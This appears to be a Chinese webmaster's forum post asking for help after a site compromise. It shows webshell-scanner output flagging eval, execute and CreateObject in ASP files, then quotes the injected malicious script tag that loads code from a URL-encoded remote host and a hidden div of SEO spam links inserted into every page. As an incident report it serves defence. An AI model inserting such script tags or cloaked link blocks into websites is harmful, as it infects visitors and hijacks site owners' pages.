文件相对路径 特征码 描述 创建/修改时间 KS_Cls\KS.ClassCls.asp Eval eval()函数可以执行任意ASP代码，被一些后门利用。其形式一般是：eval(X) 但是javascript代码中也可以使用，有可能是误报。 2009-5-3 0:02:23 2009-6-22 17:05:53 KS_Cls\KS.CollectCls.asp CreateObject CreateObject函数使用了变形技术，仔细复查。 2009-5-3 0:02:23 2009-6-22 17:05:53 KS_Cls\KS.PublicCls.asp CreateObject CreateObject函数使用了变形技术，仔细复查。 2009-5-3 0:02:23 2009-6-22 17:05:54 KS_Cls\KS.RCls.asp CreateObject CreateObject函数使用了变形技术，仔细复查。 2009-5-3 0:02:23 2009-6-22 17:05:54 KS_Cls\KS.Thumbs.asp CreateObject CreateObject函数使用了变形技术，仔细复查。 2009-5-3 0:02:23 2009-6-22 17:05:54 KS_Cls\KS.UserCls.asp Execute execute()函数可以执行任意ASP代码，被一些后门利用。其形式一般是：execute(X)。 2009-5-3 0:02:23 2009-6-22 17:05:54 KS_Cls\KS.WebFilesCls.asp CreateObject CreateObject函数使用了变形技术，仔细复查。 2009-5-3 0:02:23 2009-6-22 17:05:54 User\SelectClass.asp CreateObject CreateObject函数使用了变形技术，仔细复查。 2009-6-15 15:42:08 2009-6-22 17:06:14 User\User_Rss.asp Eval eval()函数可以执行任意ASP代码，被一些后门利用。其形式一般是：eval(X) 但是javascript代码中也可以使用，有可能是误报。 2009-5-3 0:02:30 2009-6-22 17:06:17

部分文件被写入了:

 

<script src=http://%77%76%67%37%2E%63%6E></script>

每页被添加了如下东东:

 

<div style="position:absolute;left:expression(1-900);top:expression(3-999);">友情链接：<a href="http://www.niupixuan.org.cn/">***银屑病</a> <a href="http://www.moyusifu8.net.cn/">魔域***</a> <a href="http://www.qxjiyin.cn/">基因检测</a> <a href="http://www.taiyangneng8.net.cn/">四季旺太阳能</a> <a href="http://www.crelune.cn/">法语</a> <a href="http://www.banjiash.net.cn/">大众搬场公司</a> <a href="http://www.piyan6.cn/">荨***</a> <a href="http://www.dazhong236.cn/">上海搬家公司</a> <a href="http://www.51doudizhu.com.cn/">***</a> <a href="http://www.fuke800.net.cn/">宫颈糜烂</a> <a href="http://www.021stv.com.cn/">卫星天线安装</a> <a href="http://www.gongxing168.com.cn/">公兴搬场公司</a> <a href="http://www.duodongzheng120.cn/">多动症</a> <a href="http://www.debangwuliu6.cn/">德邦物流</a> <a href="http://www.800play.com.cn/">******</a> <a href="http://www.zhongtiekuaiyun6.cn/">上海中铁快运电话</a> <a href="http://www.banjiash.com.cn/">搬运公司</a> <a href="http://www.tangniaobing8.net.cn/">******的中药</a> <a href="http://www.120zigongjiliu.com.cn/
/">子宫肌瘤</a> <a href="http://www.feipin666.cn/">上海废品回收</a> <a href="http://www.021tvs.com.cn/">上海卫星电视</a> <a href="http://www.0755srtv.cn/">深圳卫星器材</a> <a href="http://www.010tvs.com.cn/">卫星电视安装</a> <a href="http://www.debangwuliu6.cn/">德邦物流公司</a> <a href="http://www.shbjgs.net.cn/">大众搬场公司</a> <a href="http://www.zhongtiekuaiyun9.cn/">中铁快运电话</a> <a href="http://www.qianliexian8.cn/">***炎***</a> <a href="http://www.tangniaobing8.net.cn/">***症状</a> <a href="http://www.021gongxing.com.cn/">搬场公司</a> <a href="http://www.021gongxing.com.cn/">上海搬家公司</a> <a href="http://www.jiecom.cn/">减速器</a> <a href="http://www.021stv.net.cn/">上海安装卫星电视</a> <a href="http://www.gongxing168.com.cn/">公兴搬家公司</a> </div>

搜索被感染的文件

 

好多啊,怎么办